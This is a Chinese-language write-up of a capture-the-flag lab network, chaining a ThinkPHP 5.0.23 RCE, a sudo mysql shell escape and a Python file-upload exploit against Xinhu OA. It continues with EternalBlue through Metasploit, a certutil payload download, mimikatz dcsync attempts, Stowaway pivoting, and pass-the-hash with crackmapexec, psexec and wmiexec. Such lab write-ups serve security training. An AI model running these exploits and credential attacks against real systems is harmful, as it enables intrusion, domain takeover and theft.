Initial

涉及的知识点

thinkphp v5.0.23漏洞利用
mysql的sudo提权
信呼oa文件上传漏洞
永恒之蓝
哈希传递

支线任务:1、使用Stowaway搭socks代理;2、尝试使用多种工具进行域渗透

flag1

fscan扫出tp的rce漏洞

start infoscan
39.98.124.108:22 open
39.98.124.108:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.124.108      code:200 len:5578   title:Bootstrap Material Admin
[+] PocScan http://39.98.124.108 poc-yaml-thinkphp5023-method-rce poc1

复现确实可以直接利用

cqyj_initial1

可以手动写一句话木马,或者用工具一把梭

cqyj_initial2
cqyj_initial3

蚁剑连接

cqyj_initial4

之后反向代理上线

cqyj_initial5

看了几个suid提权都利用不了,sudo -l发现有mysql

cqyj_initial6

本地GTFOBins找mysql.md

  sudo:
    - code: sudo mysql -e '\! /bin/sh'

习惯用bash,拿到flag1

cqyj_initial7

flag{60b53231-

flag2

接着用Stowaway搭代理

./linux_x64_admin -l 9010 -s 123
./linux_x64_agent -c vps:9010 -s 123 --reconnect 8

cqyj_initial8

cqyj_initial9

代理搭建成功,接着看下内网段,得到web1内网ip为172.22.1.15

cqyj_initial10

传fscan接着扫

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.21     is alive
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.18     is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:445 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:139 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.21:135 open
172.22.1.18:3306 open
172.22.1.2:88 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] MS17-010 172.22.1.21        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] OsInfo 172.22.1.2   (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 11.627836097s

得到以下信息:

  • 172.22.1.18主机有web服务,用的信呼OA
  • 172.22.1.21主机,可以打永恒之蓝
  • 172.22.1.2为域控,域名为xiaorang.lab

先打web洞,这里直接用其他师傅wp脚本

cqyj_initial11

import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

cqyj_initial12

蚁剑连接成功并且是system权限

cqyj_initial13

cqyj_initial14

拿到flag2

cqyj_initial15

2ce3-4813-87d4-

如果后续要接着利用,就传正向马上线,然后继续Stowaway搭二级代理

flag3

接着打永恒之蓝,这里工具打完会创建一个管理员账号,连上web1代理后RDP连接

cqyj_initial16

因为是内网靶机并且不出网,只能传正向马上线,同样先把马传web1,然后python开http服务配合certutil下载

cqyj_initial17

cqyj_initial18

certutil -urlcache -split -f http://172.22.1.15:7777/tcp_9999.exe tcp_9999.exe

cqyj_initial19

正向马成功上线

cqyj_initial20

继续向windows机传了mimikatz、LaZagne、psexec、wmiexec四个工具

cqyj_initial21

接着就开始尝试获取域内用户hash

首先前面fscan获取到了域名(或者用net user /domain)为xiaorang.lab

cqyj_initial22

尝试一:用mimikatz获取域内hash失败,无论是通过管理员打开cmd窗口,输入

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

还是以管理员身份打开mimikatz,输入

privilege::debug
lsadump::dcsync /domain:xiaorang.lab /all /csv

都利用失败

cqyj_initial23

尝试二:使用LaZagne工具获取用户hash信息

输入

laZagne.exe all

仍然失败(应该是没装python?)

cqyj_initial24

疑惑,但是看其他师傅的wp,清一色用的msf。。。

之后尝试用msf,但是永恒之蓝模块利用的时候一直与windows机的4444端口建立不了连接,应该是由于前面工具已经利用过导致的,先记录命令(二刷:应该是不能拿提权后的shell来开代理,拿一开始的www-data权限就行)

vim /etc/proxychains4.conf
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

得到域内administrator的hash:10cf89a850fb1cdbe6bb432b859164c8,接下来打hash传递攻击

尝试一:windows 用 mimikatz

sekurlsa::pth /user:administrator /domain:172.22.1.2 /ntlm:10cf89a850fb1cdbe6bb432b859164c8

mimikatz仍然利用失败

尝试二:kali 用 crackmapexec

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "whoami"

cqyj_initial25

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"

cqyj_initial26

尝试三:windows 用 psexec,能拿到system权限

psexec -hashes :10cf89a850fb1cdbe6bb432b859164c8 ./administrator@172.22.1.2

cqyj_initial27

尝试四:windows 用 wmiexec

wmiexec -hashes :10cf89a850fb1cdbe6bb432b859164c8 ./administrator@172.22.1.2 "whoami"

cqyj_initial28

得到flag3

flag03: e8f88d0d43d6}

拼接得到flag

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

虽然结束了但也尝试在windows机用Stowaway搭socsk代理

windows_x64_agent.exe -c 172.22.1.15:9020 -s 123 --reconnect 8

cqyj_initial29

成功搭建二级代理,Initial告一段落

cqyj_initial30

后面跟chu0师傅交流了一下,mimikatz利用失败应该还是权限问题,当前用户没有dcsync权限?当时在机器导出sam.hive与system.hive用mimikatz获取本机administrator的hash是没问题的,下次有时间二刷的话,先横向到administrator试试,或者是提权成system

发表回复